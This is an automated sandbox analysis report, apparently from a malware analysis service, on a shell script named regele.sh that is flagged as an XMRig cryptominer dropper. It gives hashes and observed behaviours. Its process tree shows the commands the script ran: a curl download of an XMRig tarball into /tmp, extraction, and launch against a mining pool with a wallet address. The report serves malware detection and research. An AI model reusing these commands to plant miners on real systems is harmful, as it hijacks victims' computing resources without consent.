Overview
overview
10Static
static
1regele.sh
ubuntu-24.04-amd64
10regele.sh
debian-12-armhf
10regele.sh
debian-12-mipsel
10regele.sh
debian-9-armhf
10regele.sh
debian-9-mips
10regele.sh
debian-9-mipsel
10regele.sh
ubuntu-18.04-amd64
10regele.sh
ubuntu-20.04-amd64
10regele.sh
ubuntu-22.04-amd64
10regele.sh
ubuntu-24.04-amd64
10Analysis
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max time kernel
156s -
max time network
152s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20250307-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20250307-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
10/04/2025, 04:55
Static task
static1
Behavioral task
behavioral1
Sample
regele.sh
Resource
ubuntu2404-amd64-20250307-en
ubuntu-24.04-amd64
Behavioral task
behavioral2
Sample
regele.sh
Resource
debian12-armhf-20240221-en
debian-12-armhf
Behavioral task
behavioral3
Sample
regele.sh
Resource
debian12-mipsel-20240729-en
debian-12-mipsel
Behavioral task
behavioral4
Sample
regele.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral5
Sample
regele.sh
Resource
debian9-mipsbe-20240418-en
debian-9-mips
Behavioral task
behavioral6
Sample
regele.sh
Resource
debian9-mipsel-20240729-en
debian-9-mipsel
Behavioral task
behavioral7
Sample
regele.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral8
Sample
regele.sh
Resource
ubuntu2004-amd64-20240611-en
ubuntu-20.04-amd64
Behavioral task
behavioral9
Sample
regele.sh
Resource
ubuntu2204-amd64-20250307-en
ubuntu-22.04-amd64
Behavioral task
behavioral10
Sample
regele.sh
Resource
ubuntu2404-amd64-20250307-en
ubuntu-24.04-amd64
General
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Target
regele.sh
-
Size
630B
-
MD5
4abbca2cbf6028e552f2076c039f5760
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SHA1
c29ce9227290d376e70d1ca1ec32e77b95f0c230
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SHA256
18233feed3f3933b85e713b8248f627c120085ed54059727f22524eee5e4ee05
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SHA512
5c3d4aba59c78c56c4d07b282e25f57482e94d1a5856e17823461397a7cab6b8ad5bc7f388eeb2249b2f104a1d00c0ef57ece35990120e77825d6a02c31debc4
Malware Config
Signatures
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XMRig Miner payload 2 IoCs
resource yara_rule behavioral10/files/fstream-2.dat family_xmrig behavioral10/files/fstream-2.dat xmrig -
Xmrig family
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Xmrig_linux family
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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Executes dropped EXE 1 IoCs
ioc pid Process /tmp/xmrig-6.21.0/xmrig 2523 regele.sh -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/sys_vendor xmrig -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_version xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_date xmrig File opened for reading /sys/devices/virtual/dmi/id/product_version xmrig File opened for reading /sys/devices/virtual/dmi/id/board_version xmrig File opened for reading /sys/devices/virtual/dmi/id/board_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_type xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_version xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/product_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/product_uuid xmrig -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo xmrig -
Reads CPU attributes 1 TTPs 45 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/online xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/possible xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/package_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size xmrig -
Enumerates kernel/hardware configuration 1 TTPs 24 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/system/node/node0/hugepages xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages xmrig File opened for reading /sys/bus/dax/devices xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency xmrig File opened for reading /sys/devices/virtual/dmi/id xmrig File opened for reading /sys/fs/cgroup/cgroup.controllers xmrig File opened for reading /sys/devices/system/node/online xmrig File opened for reading /sys/devices/system/node/node0/cpumap xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency xmrig File opened for reading /sys/firmware/dmi/tables/DMI xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages xmrig File opened for reading /sys/devices/system/cpu xmrig File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth xmrig File opened for reading /sys/firmware/dmi/tables/smbios_entry_point xmrig File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/meminfo xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/access1/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth xmrig File opened for reading /sys/fs/cgroup/cpuset.cpus.effective xmrig File opened for reading /sys/fs/cgroup/cpuset.mems.effective xmrig File opened for reading /sys/kernel/mm/hugepages xmrig -
description ioc Process File opened for reading /proc/meminfo xmrig File opened for reading /proc/sys/vm/nr_hugepages xmrig File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems tar File opened for reading /proc/self/cpuset xmrig File opened for reading /proc/driver/nvidia/gpus xmrig File opened for reading /proc/sys/kernel/random/boot_id tar File opened for reading /proc/mounts xmrig -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xmrig-6.21.0/xmrig tar File opened for modification /tmp/xmrig-6.21.0/SHA256SUMS tar File opened for modification /tmp/xmrig-6.21.0/config.json tar File opened for modification /tmp/xmrig-6.21.0-linux-x64.tar.gz curl
Processes
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/tmp/regele.sh/tmp/regele.sh1⤵
- Executes dropped EXE
PID:2496 -
/usr/bin/curlcurl -LO https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-x64.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2498
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/usr/bin/tartar -xf xmrig-6.21.0-linux-x64.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2521 -
/usr/local/sbin/gzipgzip -d3⤵PID:2522
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/usr/local/bin/gzipgzip -d3⤵PID:2522
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/usr/sbin/gzipgzip -d3⤵PID:2522
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/usr/bin/gzipgzip -d3⤵PID:2522
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/tmp/xmrig-6.21.0/xmrig./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 -u "LTC:LhDEf9iRg9nvTXQXumgzaLJfh75LuZgfJM.unmineable_worker_zlsfjzbq#ps2x-7x9c" -p x2⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2523
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
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Filesize
3.4MB
MD59dce7e18281721dfcac5336501edf1f9
SHA1ce0e66d903639e185b3e2700253eb49fa410122b
SHA2567662ccbd97f0b579e9faf025b9872dc20759a791b572946aec247c12334e0d3f
SHA5128d0621bc362b632951b5a067b4894523b15c07d5c1638bcf544be3fc2f1014f8612da02d20bedd4a209012cdbcd5dce90d18ddd92f38a299a1ac24eddae2ecbd
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Filesize
150B
MD54b1be200fc3721e0b9823defce7f54c8
SHA1fa39e968a868247912308fcfeb2d73240fa67602
SHA2567d619ce59ab5ac3ce599499798f42c7a0c3b4b3814a99904dc26d9b7e0498ae8
SHA5124467cf578d11decbdfc16d1f756d4e3362a34d5cd614b00bdfca75c7c24b371292cea853081dc6321e2b75fd3918dd4e2465c4b1af3086d1be230ecdc97dd7b6
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Filesize
2KB
MD566f38c96a4901e7b345787c447842b3e
SHA12aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA2562b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
SHA51271757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
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Filesize
8.5MB
MD586f2790c04ccd113a564cc074efbcdfd
SHA1b1cbe9ae844c36b49ccedfa3036945dee2b3372b
SHA25692dcc363ed05c5e4ae9008f7d0d41b1ad1ae9caead9d4f3598c566b185078b4b
SHA5122cbe961abe4c2a3bf7f20968b7919a25f82ce0efa367eca390d847da35c4784a726bfec0405802471cca00da445764316a4d8101798cc5eba721f53a11e1223c